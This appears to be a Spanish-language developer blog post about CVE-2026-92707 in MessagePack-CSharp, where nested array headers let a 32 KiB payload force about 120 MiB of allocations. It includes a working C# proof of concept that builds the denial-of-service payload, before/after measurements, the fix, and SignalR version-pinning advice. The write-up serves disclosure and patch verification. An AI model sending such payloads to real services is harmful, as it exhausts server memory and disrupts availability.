Start Debugging

MessagePack 3.1.9 y 2.5.303 corrigen un payload de 32 KiB que asigna 120 MiB

CVE-2026-92707: los encabezados de array anidados de MessagePack podían reutilizar los mismos bytes finales para pasar la verificación de longitud, por lo que deserializar en object asignaba miles de veces el tamaño del payload. La corrección, una prueba de antes/después, y por qué las apps de SignalR en .NET 8 a 11 RC 1 necesitan fijar el paquete directamente.

MessagePack-CSharp lanzó 3.1.9 y 2.5.303 el 2026-09-17 con una corrección para GHSA-qhrr-8q5h-9q3h (CVE-2026-92707, calificada como media). Si deserializas MessagePack no confiable en object, un payload de pocos kilobytes puede forzar más de cien megabytes de asignaciones por solicitud.

Por qué el límite de profundidad no te salvó

PrimitiveObjectFormatter, el formatter detrás de Deserialize<object>, lee un encabezado de array y de inmediato asigna new object[count]. La única protección era una verificación de sensatez en MessagePackReader.ReadArrayHeader: el conteo declarado no debía exceder los bytes no leídos, bajo el supuesto de que cada elemento ocupa al menos un byte.

La falla es que cada encabezado anidado se verificaba contra los mismos bytes restantes. Un encabezado array32 que declara 32 000 elementos, seguido de otro que declara 31 995, seguido de otro más, todos pasan, porque ninguno tiene en cuenta lo que sus padres ya reservaron. MessagePackSecurity.UntrustedData limita la profundidad del grafo a 500, pero la excepción solo se dispara después de que ya se asignaron y quedaron vivos 500 arrays.

Midiéndolo

Construí el payload directamente: 600 encabezados array32, cada uno declarando tantos elementos como bytes quedan, rellenado con nil hasta 32 KiB. La misma app basada en archivo se ejecutó contra cada versión en el SDK 10.0.302:

#:package MessagePack@3.1.8
#:property PublishAot=false
using MessagePack;
using System.Buffers.Binary;

const int headers = 600, total = 32 * 1024;
var payload = new byte[total];
for (int i = 0; i < headers; i++)
{
    payload[i * 5] = 0xdd; // array32
    BinaryPrimitives.WriteUInt32BigEndian(payload.AsSpan(i * 5 + 1), (uint)(total - (i + 1) * 5));
}
payload.AsSpan(headers * 5).Fill(0xc0); // nil

var options = MessagePackSerializerOptions.Standard.WithSecurity(MessagePackSecurity.UntrustedData);
long before = GC.GetTotalAllocatedBytes(precise: true);
try { MessagePackSerializer.Deserialize<object>(payload, options); }
catch (MessagePackSerializationException ex) { Console.WriteLine((ex.InnerException ?? ex).Message); }
Console.WriteLine($"{(GC.GetTotalAllocatedBytes(true) - before) / 1024.0 / 1024.0:F1} MiB");
VersiónExcepciónAsignado
2.5.302exceeds the maximum depth allowed of 500120.5 MiB
2.5.303Attempted to read past the end of the stream0.3 MiB
3.1.8exceeds the maximum depth allowed of 500120.5 MiB
3.1.9Attempted to read past the end of the stream0.3 MiB

El lector corregido rechaza el segundo encabezado en lugar de la asignación número 501.

Qué cambia la corrección

El commit 7fd78bb reemplaza la verificación por encabezado con ReserveMinimumChildBytes. El lector ahora rastrea cuántos bytes han comprometido con sus hijos los encabezados de array y map anteriores, retira ese compromiso a medida que se consumen los bytes, y solo acepta un nuevo encabezado si su conteo cabe en lo que queda después de esos compromisos. La verificación vive en MessagePackReader, así que todos los formatters se benefician, no solo object.

El lanzamiento también agrega más gadgets de deserialización conocidos a la lista de bloqueo predeterminada para tipos nombrados (#2263, #2269).

Las apps de SignalR necesitan un pin directo

El aviso señala a ASP.NET Core SignalR con AddMessagePackProtocol() y un método de hub que toma object como vector remoto. Microsoft.AspNetCore.SignalR.Protocols.MessagePack 8.0.31, 9.0.20, 10.0.12 y 11.0.0-rc.1 todavía dependen de MessagePack 2.5.302. Hasta que una versión de mantenimiento lo actualice, sobrescribe tú mismo la versión transitiva:

<PackageReference Include="Microsoft.AspNetCore.SignalR.Protocols.MessagePack" Version="10.0.12" />
<PackageReference Include="MessagePack" Version="2.5.303" />

Quédate en la línea 2.x para SignalR, ya que el paquete de protocolo está compilado contra la API 2.x. Una vez que el aviso llegue a los datos de vulnerabilidades de NuGet, dotnet list package --vulnerable --include-transitive marcará cualquier proyecto que todavía resuelva 2.5.302.

A largo plazo, reemplaza los parámetros object en los métodos de hub y los miembros object en los DTOs con tipos concretos. Esa fue la primera solución alternativa del aviso y elimina PrimitiveObjectFormatter de la superficie de ataque por completo. Si estás eligiendo un serializador binario después de abandonar BinaryFormatter, la guía de migración de BinaryFormatter cubre dónde encaja MessagePack.

Comments

Sign in with GitHub to comment. Reactions and replies thread back to the comments repo.

< Volver